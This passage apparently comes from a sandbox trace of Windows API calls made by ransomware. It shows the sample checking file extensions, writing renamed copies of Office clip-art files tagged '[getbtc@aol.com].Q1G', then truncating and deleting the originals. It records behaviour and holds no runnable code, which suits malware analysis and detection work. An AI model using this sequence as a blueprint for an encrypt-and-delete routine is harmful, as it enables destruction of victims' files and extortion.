lpString2=".WMF") returned 1 [0259.593] lstrlenW (lpString=".xlsx") returned 5 [0259.593] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0259.593] lstrlenW (lpString=".ppt") returned 4 [0259.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0259.593] lstrlenW (lpString=".zip") returned 4 [0259.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.593] lstrlenW (lpString=".rar") returned 4 [0259.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.593] lstrlenW (lpString=".bz2") returned 4 [0259.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.593] lstrlenW (lpString=".7z") returned 3 [0259.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0259.594] lstrlenW (lpString=".dbf") returned 4 [0259.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0259.594] lstrlenW (lpString=".1cd") returned 4 [0259.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0259.594] lstrlenW (lpString=".jpg") returned 4 [0259.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.594] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.594] lstrlenW (lpString="J0107494.WMF") returned 12 [0259.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.597] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=6424) returned 1 [0259.609] CloseHandle (hObject=0x390) returned 1 [0259.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf")) returned 0x20 [0259.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.610] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.610] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0259.622] GetLastError () returned 0x0 [0259.622] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1918, lpOverlapped=0x0) returned 1 [0259.647] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0259.648] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.648] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.648] SetEndOfFile (hFile=0x360) returned 1 [0259.649] CloseHandle (hObject=0x360) returned 1 [0259.649] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.649] SetEndOfFile (hFile=0x390) returned 1 [0259.651] CloseHandle (hObject=0x390) returned 1 [0259.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf")) returned 1 [0259.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0259.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0259.653] lstrlenW (lpString=".doc") returned 4 [0259.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.653] lstrlenW (lpString=".docx") returned 5 [0259.653] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0259.653] lstrlenW (lpString=".pdf") returned 4 [0259.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.653] lstrlenW (lpString=".xls") returned 4 [0259.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.653] lstrlenW (lpString=".xlsx") returned 5 [0259.653] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0259.653] lstrlenW (lpString=".ppt") returned 4 [0259.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0259.653] lstrlenW (lpString=".zip") returned 4 [0259.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.653] lstrlenW (lpString=".rar") returned 4 [0259.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.653] lstrlenW (lpString=".bz2") returned 4 [0259.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.653] lstrlenW (lpString=".7z") returned 3 [0259.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0259.653] lstrlenW (lpString=".dbf") returned 4 [0259.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0259.654] lstrlenW (lpString=".1cd") returned 4 [0259.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0259.654] lstrlenW (lpString=".jpg") returned 4 [0259.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0259.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0259.654] lstrlenW (lpString=".doc") returned 4 [0259.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.654] lstrlenW (lpString=".docx") returned 5 [0259.654] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0259.654] lstrlenW (lpString=".pdf") returned 4 [0259.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.654] lstrlenW (lpString=".xls") returned 4 [0259.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.654] lstrlenW (lpString=".xlsx") returned 5 [0259.654] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0259.654] lstrlenW (lpString=".ppt") returned 4 [0259.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0259.654] lstrlenW (lpString=".zip") returned 4 [0259.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.654] lstrlenW (lpString=".rar") returned 4 [0259.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.654] lstrlenW (lpString=".bz2") returned 4 [0259.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.654] lstrlenW (lpString=".7z") returned 3 [0259.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0259.654] lstrlenW (lpString=".dbf") returned 4 [0259.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0259.654] lstrlenW (lpString=".1cd") returned 4 [0259.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0259.655] lstrlenW (lpString=".jpg") returned 4 [0259.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.655] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.655] lstrlenW (lpString="J0107502.WMF") returned 12 [0259.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.655] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=10836) returned 1 [0259.655] CloseHandle (hObject=0x390) returned 1 [0259.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf")) returned 0x20 [0259.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.656] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.656] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0259.657] GetLastError () returned 0x0 [0259.657] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2a54, lpOverlapped=0x0) returned 1 [0259.857] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0260.360] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.365] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0260.369] SetEndOfFile (hFile=0x360) returned 1 [0260.382] CloseHandle (hObject=0x360) returned 1 [0260.391] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.395] SetEndOfFile (hFile=0x390) returned 1 [0261.112] CloseHandle (hObject=0x390) returned 1 [0261.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf")) returned 1 [0261.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0261.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0261.262] lstrlenW (lpString=".doc") returned 4 [0261.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.262] lstrlenW (lpString=".docx") returned 5 [0261.262] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0261.262] lstrlenW (lpString=".pdf") returned 4 [0261.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.262] lstrlenW (lpString=".xls") returned 4 [0261.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.262] lstrlenW (lpString=".xlsx") returned 5 [0261.262] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0261.262] lstrlenW (lpString=".ppt") returned 4 [0261.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0261.262] lstrlenW (lpString=".zip") returned 4 [0261.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.262] lstrlenW (lpString=".rar") returned 4 [0261.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.262] lstrlenW (lpString=".bz2") returned 4 [0261.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.262] lstrlenW (lpString=".7z") returned 3 [0261.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0261.263] lstrlenW (lpString=".dbf") returned 4 [0261.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0261.263] lstrlenW (lpString=".1cd") returned 4 [0261.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0261.263] lstrlenW (lpString=".jpg") returned 4 [0261.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0261.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0261.263] lstrlenW (lpString=".doc") returned 4 [0261.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.263] lstrlenW (lpString=".docx") returned 5 [0261.263] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0261.263] lstrlenW (lpString=".pdf") returned 4 [0261.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.263] lstrlenW (lpString=".xls") returned 4 [0261.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.274] lstrlenW (lpString=".xlsx") returned 5 [0261.274] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0261.274] lstrlenW (lpString=".ppt") returned 4 [0261.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0261.274] lstrlenW (lpString=".zip") returned 4 [0261.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.274] lstrlenW (lpString=".rar") returned 4 [0261.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.274] lstrlenW (lpString=".bz2") returned 4 [0261.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.274] lstrlenW (lpString=".7z") returned 3 [0261.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0261.274] lstrlenW (lpString=".dbf") returned 4 [0261.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0261.274] lstrlenW (lpString=".1cd") returned 4 [0261.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0261.274] lstrlenW (lpString=".jpg") returned 4 [0261.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.275] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.275] lstrlenW (lpString="J0107728.WMF") returned 12 [0261.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.275] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=5492) returned 1 [0261.275] CloseHandle (hObject=0x39c) returned 1 [0261.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf")) returned 0x20 [0261.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.276] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.276] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.276] GetLastError () returned 0x0 [0261.276] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1574, lpOverlapped=0x0) returned 1 [0261.281] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1580, lpOverlapped=0x0) returned 1 [0261.282] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.282] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.282] SetEndOfFile (hFile=0x37c) returned 1 [0261.282] CloseHandle (hObject=0x37c) returned 1 [0261.282] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.282] SetEndOfFile (hFile=0x39c) returned 1 [0261.285] CloseHandle (hObject=0x39c) returned 1 [0261.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf")) returned 1 [0261.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0261.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0261.286] lstrlenW (lpString=".doc") returned 4 [0261.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.286] lstrlenW (lpString=".docx") returned 5 [0261.286] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0261.286] lstrlenW (lpString=".pdf") returned 4 [0261.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.286] lstrlenW (lpString=".xls") returned 4 [0261.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.286] lstrlenW (lpString=".xlsx") returned 5 [0261.286] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0261.286] lstrlenW (lpString=".ppt") returned 4 [0261.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0261.286] lstrlenW (lpString=".zip") returned 4 [0261.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.286] lstrlenW (lpString=".rar") returned 4 [0261.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.286] lstrlenW (lpString=".bz2") returned 4 [0261.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.286] lstrlenW (lpString=".7z") returned 3 [0261.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0261.286] lstrlenW (lpString=".dbf") returned 4 [0261.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0261.287] lstrlenW (lpString=".1cd") returned 4 [0261.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0261.287] lstrlenW (lpString=".jpg") returned 4 [0261.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0261.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0261.287] lstrlenW (lpString=".doc") returned 4 [0261.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.287] lstrlenW (lpString=".docx") returned 5 [0261.287] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0261.287] lstrlenW (lpString=".pdf") returned 4 [0261.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.287] lstrlenW (lpString=".xls") returned 4 [0261.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.287] lstrlenW (lpString=".xlsx") returned 5 [0261.287] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0261.287] lstrlenW (lpString=".ppt") returned 4 [0261.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0261.287] lstrlenW (lpString=".zip") returned 4 [0261.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.287] lstrlenW (lpString=".rar") returned 4 [0261.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.287] lstrlenW (lpString=".bz2") returned 4 [0261.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.287] lstrlenW (lpString=".7z") returned 3 [0261.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0261.287] lstrlenW (lpString=".dbf") returned 4 